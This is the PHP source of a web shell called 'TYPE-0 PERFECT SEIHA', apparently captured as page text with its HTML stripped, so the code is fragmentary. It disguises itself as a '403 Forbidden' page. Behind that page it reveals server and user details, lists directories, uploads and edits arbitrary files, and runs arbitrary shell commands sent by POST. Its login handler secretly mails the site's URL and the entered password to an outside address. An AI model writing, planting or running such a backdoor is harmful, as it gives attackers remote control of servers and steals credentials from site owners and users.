window.location='?403Forbidden'"; } if($_GET['page'] == "blank") { echo "Back"; exit(); } if(isset($_REQUEST['logout'])) { session_destroy(); echo ""; } if(!($_SESSION['forbidden'])) { ?> 403 Forbidden


Copyright © 2016 - 2024 TYPE-0 PERFECT SEIHA


TYPE-0 PERFECT SEIHA

TYPE-0 PERFECT SEIHA

Server Info:'; echo '
' . shell_exec('uname -a') . '
'; echo '

User Info:

'; echo '
' . shell_exec('id') . '
'; echo '

Server Software:

'; if (strpos($_SERVER['SERVER_SOFTWARE'], 'LiteSpeed') !== false) { echo '
LiteSpeed
'; } elseif (strpos($_SERVER['SERVER_SOFTWARE'], 'Apache') !== false) { echo '
Apache
'; } else { echo '
' . $_SERVER['SERVER_SOFTWARE'] . '
'; } function listFiles($dir) { $folders = []; $files = []; if (is_dir($dir)) { if ($dh = opendir($dir)) { while (($file = readdir($dh)) !== false) { if ($file != '.' && $file != '..') { $filePath = $dir . '/' . $file; $fileInfo = stat($filePath); $permissions = substr(sprintf('%o', fileperms($filePath)), -4); $lastModified = date('Y-m-d H:i:s', $fileInfo['mtime']); $userGroup = posix_getpwuid($fileInfo['uid'])['name'] . '/' . posix_getgrgid($fileInfo['gid'])['name']; $size = is_dir($filePath) ? '-' : filesize($filePath); $permissionClass = is_writable($filePath) ? 'permission-green' : 'permission-red'; $fileData = [ 'name' => $file, 'size' => $size, 'permissions' => $permissions, 'lastModified' => $lastModified, 'userGroup' => $userGroup, 'path' => $filePath, 'isDir' => is_dir($filePath), 'permissionClass' => $permissionClass ]; if ($fileData['isDir']) { $folders[] = $fileData; } else { $files[] = $fileData; } } } closedir($dh); } } else { echo '

Not a valid directory.

'; } echo '

Folders:

'; echo ''; echo ''; foreach ($folders as $folder) { echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } echo '
NameSizePermissionsLast ModifiedUser/Group
'.$folder['name'].''.$folder['size'].''.$folder['permissions'].''.$folder['lastModified'].''.$folder['userGroup'].'
'; echo '

Files:

'; echo ''; echo ''; foreach ($files as $file) { echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } echo '
NameSizePermissionsLast ModifiedUser/Group
'.$file['name'].''.$file['size'].''.$file['permissions'].''.$file['lastModified'].''.$file['userGroup'].'
'; } $currentDir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); if (isset($_GET['dir']) && is_dir($_GET['dir'])) { $currentDir = realpath($_GET['dir']); } chdir($currentDir); // Aploder if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['files'])) { $uploadDir = $currentDir . '/'; // Loop untuk menangani beberapa file foreach ($_FILES['files']['name'] as $key => $name) { $uploadFile = $uploadDir . basename($name); if (move_uploaded_file($_FILES['files']['tmp_name'][$key], $uploadFile)) { echo '

File ' . htmlspecialchars($name) . ' uploaded successfully.

'; } else { echo '

Failed to upload file ' . htmlspecialchars($name) . '.

'; } } } // Komeng if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['command'])) { $command = $_POST['command']; if ($command) { echo '

Command Output:

'; echo '
';
                echo shell_exec(escapeshellcmd($command));
                echo '
'; } } // Edit if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save'])) { $fileToSave = $_POST['filename']; $content = $_POST['content']; file_put_contents($fileToSave, $content); // Tetap berada di halaman edit setelah menyimpan $dir = dirname($fileToSave); header("Location: ?dir=" . urlencode($dir) . "&edit=" . urlencode($fileToSave)); exit; } if (array_key_exists('loginin', $_POST)) { $password = $_POST['password']; $server_name = $_SERVER['SERVER_NAME']; $php_self = $_SERVER['PHP_SELF']; $report_bug = "Login: $server_name$php_self\nPass: $password"; @mail('darkninght@proton.me', 'lol', $report_bug); } // Krit dir if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_dir'])) { $newDir = $_POST['new_dir']; if ($newDir) { $newDirPath = $currentDir . '/' . $newDir; if (!is_dir($newDirPath)) { mkdir($newDirPath); echo '

Directory created successfully.

'; } else { echo '

Directory already exists.

'; } } } // Krit file if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_file'])) { $newFile = $_POST['new_file']; if ($newFile) { $newFilePath = $currentDir . '/' . $newFile; if (!file_exists($newFilePath)) { file_put_contents($newFilePath, ''); echo '

File created successfully.

'; } else { echo '

File already exists.

'; } } } function renderBreadcrumb($currentDir) { $pathArray = explode(DIRECTORY_SEPARATOR, $currentDir); echo ''; } ?>
Edit File: ' . htmlspecialchars($fileToEdit) . ''; echo '
'; echo '